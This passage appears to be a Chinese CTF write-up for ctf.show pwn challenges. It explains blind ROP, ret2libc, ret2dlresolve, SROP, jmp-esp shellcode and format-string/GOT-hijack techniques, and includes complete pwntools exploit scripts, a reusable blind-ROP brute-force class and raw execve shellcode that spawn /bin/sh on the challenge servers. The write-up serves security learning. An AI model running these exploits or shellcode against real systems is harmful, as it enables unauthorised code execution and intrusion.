如果addr指向的是函数的入口,那么程序将会重新运行正常发生回显
这里加上timeout=0.1让接收有0.1s的等待时间,如果在0.1s之内没回显了,那么说明程序进入了一个卡死状态
这里还用到了startswitch,是因为还有种可能就是在主函数入口地址前面可能遇到了一个地址恰巧也能滑入主函数,导致爆破出来的地址不精准,会从一些非法语法开始影响后面布置,所以这里不用in来检验,如果正常回显的前面有些垃圾数据,in还是会让他通过
1 string.startswith(prefix)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def get_stop_gadget (times ): address = 0x400000 while 1 : try : io = connection() payload = b'a' * times + p64(address) io.send(payload) data = io.recv(timeout = 0.1 ) print (data) print (hex (address)) io.close() if data.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?' ): return address else : address+=1 except EOFError: address += 1
3.找到csu_gadget 想要布置payload还要找到rdi寄存器
在64位程序中,我们需要通过寄存去传参,rdi寄存器比较难找,但是如果得到了cus_gadget就能通过计算rdi相对偏移量找到rdi
偏移量为0x9(gadget+9)也就是pop rdi;ret
选择去找cus_gadget是因为他也有很明显的特征,他会连续执行6次pop操作时候再ret
在他的结尾汇编代码是:
1 2 3 4 5 6 7 pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret
我们在栈上故意填写6个0让这6个pop消耗掉后面紧接着是stop_gadget,那么程序就又会复活
如果探针(待测地址)没有6个pop而是一个简短的pop比如pop ebp;ret那么0会覆盖返回ret从而crash
**注意:**这个方式也会一并的将stop_gadget给筛选出来
所以要筛选两次,第二次是从stop_gadget和cus_gadget中筛选出cus_gadget
在第七个位置也填充成0,如果是stop_gadget那么这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def get_csu_gadget (times,stop ): add = 0x400000 while 1 : try : io = connection() payload = b'a' * times + p64(add) + p64(0 ) * 6 + p64(stop) + p64(0 ) io.send(payload) data = io.recv(timeout = 0.1 ) print (data) print (hex (add)) io.close() if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in data: io = connection() payload = b'a' * times + p64(add) + p64(0 ) * 6 + p64(0 ) io.send(payload) data = io.recv(timeout = 0.1 ) if b'Do you know who is daniu?' in data: add += 1 else : return add else : add += 1 except : add += 1
4.找到puts_plt 上一步已经找到pop rdi的地址,接下来思路是寻找到puts_plt地址,用puts_plt泄露puts函数地址,计算得到libc版本,后续打ret2libc
由于这个程序没开PIE保护(因为前面地址都能正常爆出来且不随机),elf文件的头部是0x400000,内容为\x7fELF
知道了这个前提,我们可以调用puts_plt输出这串内容,接收从而判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def get_puts (times,stop,gadget ): add = 0x400000 pop_rdi = gadget + 9 while 1 : io = connection() print (hex (add)) payload = b'a' * times + p64(pop_rdi) + p64(0x400000 ) + p64(add) + p64(stop) try : io.send(payload) data = io.recv(timeout = 0.1 ) print (data) io.close() if data.startswith(b'\x7fELF' ): return add else : add += 1 except : print ('wrong\nwrong\n' ) add += 1
5.Dump函数 得到puts_plt之后,利用他将服务器内存上的二进制程序代码给Dump回到本地,
从开头开始,长度用0x1000个字节,足够把GOT表打出来了,目的就是泄露puts_got
**注意:**puts函数有个特点,他会在输出完内容之后自动多输出一个换行符\n,而puts遇到\x00就会停止
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 data = io.recvuntil("Welcome to CTFshow-PWN" , timeout=0.1 , drop=True ) if data == b'\n' : data = b'\x00' elif data.endswith(b'\n' ): data = data[:-1 ] else : add += 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def leak (times,stop,gadget,puts_plt ): end = 0x401000 add = 0x400000 with open ('pwn' , 'wb' ) as file: while add < end : io = connection() payload = b'a' * times + p64(gadget + 9 ) + p64(add) +p64(puts_plt) + p64(stop) io.send(payload) data = io.recvuntil("Welcome to CTFshow-PWN" , timeout=0.1 , drop=True ) io.close() print (hex (add)) print (data) if data == b'\n' : data = b'\x00' elif data.endswith(b'\n' ): data = data[:-1 ] else : add += 1 print (data) file.write(data) add += len (data)
泄露出的数据写入pwn这个文件,然后拿ida打开
这样可以修改程序基地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 from pwn import *from LibcSearcher import *def connection (): io = remote('pwn.challenge.ctf.show' ,28105 ) io.recvuntil('Do you know who is daniu?\n' ) return io def try_onegadget (times ): io = connection() addr = 0x10a2fc payload = b'a' * times + p64(addr) io.sendline(payload) io.interactive() def get_buf_length (): times = 1 while 1 : try : io = connection() payload = 'a' * times io.send(payload) data = io.recv() print (data) io.close() if b'No passwd,See you!' not in data: return times - 1 else : times += 1 except EOFError: time += 1 def get_stop_gadget (times ): address = 0x400000 while 1 : try : io = connection() payload = b'a' * times + p64(address) io.send(payload) data = io.recv(timeout = 0.1 ) print (data) print (hex (address)) io.close() if data.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?' ): return address else : address+=1 except EOFError: address += 1 def get_csu_gadget (times,stop ): add = 0x400000 while 1 : try : io = connection() payload = b'a' * times + p64(add) + p64(0 ) * 6 + p64(stop) + p64(0 ) io.send(payload) data = io.recv(timeout = 0.1 ) print (data) print (hex (add)) io.close() if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in data: io = connection() payload = b'a' * times + p64(add) + p64(0 ) * 6 + p64(0 ) io.send(payload) data = io.recv(timeout = 0.1 ) if b'Do you know who is daniu?' in data: add += 1 else : return add else : add += 1 except : add += 1 def get_puts (times,stop,gadget ): add = 0x400000 pop_rdi = gadget + 9 while 1 : io = connection() print (hex (add)) payload = b'a' * times + p64(pop_rdi) + p64(0x400000 ) + p64(add) + p64(stop) try : io.send(payload) data = io.recv(timeout = 0.1 ) print (data) io.close() if data.startswith(b'\x7fELF' ): return add else : add += 1 except : print ('wrong\nwrong\n' ) add += 1 def leak (times,stop,gadget,puts_plt ): end = 0x401000 add = 0x400000 with open ('pwn' , 'wb' ) as file: while add < end : io = connection() payload = b'a' * times + p64(gadget + 9 ) + p64(add) +p64(puts_plt) + p64(stop) io.send(payload) data = io.recvuntil("Welcome to CTFshow-PWN" , timeout=0.1 , drop=True ) io.close() print (hex (add)) print (data) if data == b'\n' : data = b'\x00' elif data.endswith(b'\n' ): data = data[:-1 ] else : add += 1 print (data) file.write(data) add += len (data) def attack (times,gadget,stop,puts_plt,puts_got ): poprdi = gadget + 9 io = connection() payload = b'a' * times + p64(poprdi) + p64(puts_got) + p64(puts_plt) + p64(stop) io.sendline(payload) real_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' ,real_addr) libc_base = real_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' * times + p64(poprdi) + p64(bin_sh) + p64(system_addr) +p64(stop) io.sendline(payload) io.interactive() times = 72 stop_gadget_address = 0x400728 gadget_addr = 0x40083a puts_pltaddr = 0x400545 puts_gotaddr = 0x602018 attack(times,gadget_addr,stop_gadget_address,puts_pltaddr,puts_gotaddr)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 from pwn import *import threading, osfrom time import sleepfrom LibcSearcher import *import sys class BlindRop (object ): def __init__ (self, target, port ): self .target = target self .port = port self .buf_length = None self .stop_addr = None self .gadget = None self .pop_rdi = None self .puts_plt = None self .puts_got = None self .base_address = 0x400000 self .thread_num = 10 def _dichotomy (self, fun ): num = 1 jici = 0 while fun(num): jici += 1 num *= 2 min = num / 2 max = num c = (max + min ) // 2 while min <= max : mid = (min + max ) // 2 if max - min == 1 : log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid} " ) return int (min ) if fun(mid): min = mid else : max = mid log.success(f"进行了 {jici} 次测试链接" ) log.success(f"缓冲区空间大小: {mid} " ) sleep(1 ) return int (mid) def getbufLength (self ): def is_True (num ): try : io = remote(self .target, self .port) io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n" , 'a' * int (num)) data = io.recv() io.close() if not data.startswith(b"No passwd" ): return False return True except EOFError: io.close() return False self .buf_length = self ._dichotomy(is_True) return self .buf_length def _is_True (self, output ): print (output) if output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?' ): return True return False def _getStopAddr (self, start_address, end_address ): while start_address < end_address and self .stop_addr is None : log.success(f"正在测试: 0x{start_address:x} " ) try : io = remote(self .target, self .port, timeout=0.5 ) payload = b'a' * self .buf_length + p64(start_address) io.sendafter("Do you know who is daniu?\n" , payload) output = io.recv() if not self ._is_True(output): io.close() start_address += self .thread_num else : self .stop_addr = start_address log.success(f'stop address ==> 0x{start_address:x} ' ) sleep(1 ) return start_address except EOFError: start_address += self .thread_num io.close() except : pass return None def _getputs_plt (self, addr, end_addr=0x401000 ): pop_rdi = self .pop_rdi while addr < end_addr and self .puts_plt is None : sleep(0.1 ) addr += self .thread_num payload = b'a' * self .buf_length payload += p64(pop_rdi) payload += p64(0x400000 ) payload += p64(addr) payload += p64(self .stop_addr) try : io = remote(self .target, self .port) io.sendafter("Do you know who is daniu?\n" , payload) if io.recv(timeout=0.2 ).startswith(b"\x7fELF" ): log.info(f"puts@plt address: 0x{addr:x} " ) sleep(1 ) io.close() self .puts_plt = addr return addr log.info(f"find puts plt bad: 0x{addr:x} " ) io.close() except EOFError as e: io.close() log.info(f"bad: 0x{addr:x} " ) except : logging.info("Can't connect" ) addr -= self .thread_num def getgadgetsAddr (self ): addr = self .stop_addr while True : sleep(0.1 ) addr += 1 payload = b'a' * self .buf_length payload += p64(addr) payload += p64(1 ) + p64(2 ) + p64(3 ) + p64(4 ) + p64(5 ) + p64(6 ) payload += p64(self .stop_addr) try : io = remote(self .target, self .port) io.sendafter("Do you know who is daniu?\n" , payload) reponse = io.recv(timeout=0.2 ) io.close() log.info(f"find address: 0x{addr:x} " ) if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in reponse: payload = b'a' * self .buf_length payload += p64(addr) + p64(1 ) + p64(2 ) + p64(3 ) + p64(4 ) + p64(5 ) + p64(6 ) io = remote(self .target, self .port) io.sendafter("Do you know who is daniu?\n" , payload) reponse = io.recv(timeout=0.2 ) io.recv(timeout=0.2 ) if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' not in reponse: io.close() log.success(f"gadget address: 0x{addr:x} " ) sleep(1 ) self .gadget = addr self .pop_rdi = addr + 9 return addr io.close() log.info(f"bad1 stop address: 0x{addr:x} " ) else : io.close() log.info(f"bad2 address: 0x{addr:x} " ) except EOFError as e: io.close() log.info(f"bad2 address: 0x{addr:x} " ) def dump_memory (self, start_addr, end_addr ): pop_rdi = self .gadget + 9 result = b"" with open ('pwnfile' , 'wb' ) as f1: while start_addr < end_addr: sleep(0.1 ) payload = b'a' * self .buf_length payload += p64(pop_rdi) payload += p64(start_addr) payload += p64(self .puts_plt) payload += p64(self .stop_addr) try : io = remote(self .target, self .port) log.info('send one' ) io.sendafter("Do you know who is daniu?\n" , payload) data = io.recvuntil("Welcome to CTFshow-PWN" , timeout=0.1 , drop=True ) if data == b'\n' : data = b'\x00' elif data == b'' : io.close() io = remote(self .target, self .port) log.info("send two" ) io.sendafter("Do you know who is daniu?\n" , payload) data = io.recv(timeout=0.1 ) if data.count(b"Welcome" ) > 1 : data = data.decode().split("\n" )[0 ].encode() elif data[-1 ] == 10 : data = data[:-1 ] elif data[-1 ] == 10 : data = data[:-1 ] log.info(f"leaking: 0x{start_addr:x} --> {(data or b'' ).hex ()} " ) result += data f1.write(data) start_addr += len (data) io.close() except EOFError as e: print () log.info("Can't connect" ) except : log.error("Can't connect" ) return result def _Threadfunc (self, func ): for i in range (0x400000 , 0x400000 + self .thread_num): print (i) thread = threading.Thread(target=func, args=(i, 0x401000 )) thread.start() thread.join() def getStopAddr (self ): self ._Threadfunc(self ._getStopAddr) def getputs_plt (self ): self ._Threadfunc(self ._getputs_plt) def setThreadnum (self, num:int ): self .thread_num = num def getshell (self ): """ !!!!!!!!!!!!!!! get TMD shell :return: shell """ io = remote(self .target, self .port) payload = b'a' * self .buf_length payload += p64(self .pop_rdi) + p64(self .puts_got) + p64(self .puts_plt) + p64(self .stop_addr) io.sendafter("Do you know who is daniu?\n" , payload) puts = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) log.success(f"puts got address ==> 0x{puts:x} " ) libc = LibcSearcher('puts' , puts) libc_base = puts - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' * self .buf_length + p64(self .pop_rdi) + p64(bin_sh) + p64(system) io.sendline(payload) io.interactive() def main (self ): path = f'./.{self.target} _{self.port} ' with open (path, 'a' ) as f1: if self .buf_length is None : self .getbufLength() f1.write(f"buf_len: 0x{self.buf_length:x} \n" ) if self .stop_addr is None : self .getStopAddr() f1.write(f"stop_addr: 0x{self.stop_addr:x} \n" ) if self .gadget is None : self .getgadgetsAddr() f1.write(f"gadget addr: 0x{self.gadget:x} \n" ) if self .pop_rdi is None : self .pop_rdi = self .gadget + 9 if self .puts_plt is None : self .getputs_plt() f1.write(f"puts plt addr: 0x{self.puts_plt:x} \n" ) if not os.path.exists('./pwnfile' ): self .dump_memory(0x400000 ,0x401000 ) if self .puts_got is None : log.info("请输入puts got: " ) self .puts_got = int (input ().strip("\n" ), 16 ) self .getshell() if __name__ == '__main__' : target = BlindRop(sys.argv[1 ], sys.argv[2 ]) target.buf_length = 72 target.stop_addr = 0x400728 target.gadget = 0x40083a target.pop_rdi = 0x40083a + 9 target.puts_plt = 0x400550 target.main()
81–ret2libc(本地libc) 上来泄露system地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = process('/home/sirius/CTF/pwn (40)' ) elf = ELF('/home/sirius/CTF/pwn (40)' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) ru(b"Maybe it's simple,O.o\n" ) sys = int (rl(),16 ) lg("system" ,sys) base = sys - libc.symbols['system' ] binsh = base + next (libc.search(b'/bin/sh\x00' )) ret = 0x00000000000006f6 rdi = 0x0000000000000a93 padding = 0x80 +8 pay =flat( padding * b'a' , ret, ret, rdi, binsh, sys ) sl(pay) inter()
82–Ret2Dlresolve变体NO-RELRO(劫持动态部分) 32位Exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = process('/home/sirius/CTF/pwn (40)' ) elf = ELF('/home/sirius/CTF/pwn (40)' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) rop = ROP('./pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) padding = 112 dynstr =elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b'read' ,b'system' ) rop.raw(b'a' * padding) rop.read(0 ,0x8049804 + 4 ,4 ) rop.read(0 ,0x80498e0 ,len (dynstr)) rop.read(0 ,0x80498e0 + 0x100 ,len ("/bin/sh\x00" )) rop.raw(0x8048376 ) rop.raw(0xdeadbeef ) rop.raw(0x80498e0 + 0x100 ) rop.raw(b'a' * (256 -len (rop.chain()))) ru('Welcome to CTFshowPWN!\n' ) sd(rop.chain()) sd(p32(0x80498e0 )) sd(dynstr) sd(b'/bin/sh\x00' ) inter()
64位Exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *from LibcSearcher import *context.arch = 'amd64' from pwn import *context.arch="amd64" io = remote('pwn.challenge.ctf.show' ,28273 ) elf = ELF("./pwn" ) bss_addr = elf.bss() print (hex (bss_addr))csu_front_addr = 0x400750 csu_end_addr = 0x40076A leave_ret =0x40063c poprbp_ret = 0x400588 def csu (rbx, rbp, r12, r13, r14, r15 ): payload = p64(csu_end_addr) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 return payload io.recvuntil('Welcome to CTFshowPWN!\n' ) stack_size = 0x200 new_stack = bss_addr+0x100 rop = ROP("./pwn" ) offset = 112 +8 rop.raw(offset*'a' ) rop.raw(csu(0 , 1 ,elf.got['read' ],0 ,0x600988 +8 ,8 )) rop.raw(0x400607 ) rop.raw("a" *(256 -len (rop.chain()))) print (rop.dump())print (len (rop.chain()))assert (len (rop.chain())<=256 )rop.raw("a" *(256 -len (rop.chain()))) io.send(rop.chain()) io.send(p64(0x600B30 +0x100 )) rop = ROP("./pwn" ) rop.raw(offset*'a' ) dynstr = elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b"read" ,b"system" ) rop.raw(csu(0 , 1 ,elf.got['read' ],0 ,0x600B30 +0x100 ,len (dynstr))) rop.raw(0x400607 ) rop.raw("a" *(256 -len (rop.chain()))) io.send(rop.chain()) io.send(dynstr) rop = ROP("./pwn" ) rop.raw(offset*'a' ) rop.raw(csu(0 , 1 ,elf.got['read' ],0 ,0x600B30 +0x100 +len (dynstr),len ("/bin/sh\x00" ))) rop.raw(0x400607 ) rop.raw("a" *(256 -len (rop.chain()))) io.send(rop.chain()) io.send("/bin/sh\x00" ) rop = ROP("./pwn" ) rop.raw(offset*'a' ) rop.raw(0x0000000000400771 ) rop.raw(0 ) rop.raw(0 ) rop.raw(0x0000000000400773 ) rop.raw(0x600B30 +0x100 +len (dynstr)) rop.raw(0x400516 ) rop.raw(0xdeadbeef ) rop.raw('a' *(256 -len (rop.chain()))) print (rop.dump())print (len (rop.chain()))io.send(rop.chain()) io.interactive()
86–SROP
利用pwntools生成一个空的、标准格式的x64架构信号帧,不用计算哪个字节对应哪个寄存器,直接赋值就行
1 frame = SigreturnFrame()
最终目的是要调用 execve("/bin/sh", 0, 0)
在行x64的调用规则是:
RAX = 系统调用号
RDI = 第 1 个参数
RSI = 第 2 个参数
RDX = 第 3 个参数
RIP = 下一条指令地址
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) p = process('/home/sirius/CTF/pwn (40)' ) elf = ELF('/home/sirius/CTF/pwn (40)' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) rop = ROP('./pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) binsh_offset = 0x100 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = elf.symbols['global_buf' ] + 0x100 frame.rsi = 0 frame.rdx = 0 frame.rip = elf.symbols['syscall' ] payload = bytes (frame).ljust(0x100 ,b'a' ) + b'/bin/sh\x00' ru('Welcome to CTFshowPWN!\n' ) sd(payload) inter()
87–堆栈内跳转(jmp esp跳板) 查保护,NX提示unknown,还是尝试一下shellcode注入
输入一次,不能ret2想到跳板
32位21字节shllcode不可见字符版本: 1 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28266 ) elf = ELF('./pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) ru("What's your name?\n" ) shell = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' jmp_esp = 0x08048d17 sub_esp = asm("sub esp,0x28;jmp esp" ) pay = flat( shell, b'a' *15 , jmp_esp, sub_esp ) sd(pay) inter()
91–格式化字符串改数据 将输入的内容打印了出来,存在格式化字符串风险
篡改daniu上数据为6就能提权
这里发现还存在bss段中
调试一下,断点下在printf,随后输入aaaa
printf起始地址是0xffffca40,0xffffca44存的是输入的起始地址也就是0xffffca5c
偏移量 = (0xffffca5c-0xffffca40)/4 = 7
这个方法也能看出偏移量
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28295 ) elf = ELF('./pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) daniu = 0x804B038 pay = p32(daniu) + b"%2c%7$n" sd(pay) inter()
或者用pwntools的工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 daniu_addr = 0x804B038 target_value = 6 offset = 7 pay = fmtstr_payload(offset, {daniu_addr: target_value}, write_size='byte' ) sd(pay) inter()
94–GOT表劫持 有system函数但是这里没调用
将printf函数的got地址换成system地址
这样再发送/bin/sh
本应该是printf(“/bin/sh”),现在变成了system(“/bin/sh”)
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='i386' , os='linux' ) p = remote('pwn.challenge.ctf.show' ,28114 ) elf = ELF('./pwn' ) rv = lambda :p.recv() ru = lambda x:p.recvuntil(x) rud = lambda x:p.recvuntil(x,drop=True ) rl = lambda :p.recvline() sd = lambda x:p.send(x) sl = lambda x:p.sendline(x) sa = lambda x,y:p.sendafter(x,y) sla = lambda x,y:p.sendlineafter(x,y) l32 = lambda data :u32(data.ljust(4 ,b'\x00' )) l64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b"\x00" )) uu64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = lambda name, addr:log.success('{} -> {:#x}' .format (name, addr)) inter = lambda : p.interactive() lg = lambda address,data:log.success('%s: ' %(address)+hex (data)) if args.G: gdb.attach(p) printf_got = elf.got["printf" ] system_plt = elf.plt["system" ] offset = 6 pay = fmtstr_payload(offset, {printf_got: system_plt}, write_size='byte' ) sl(pay) sd("/bin/sh" ) inter()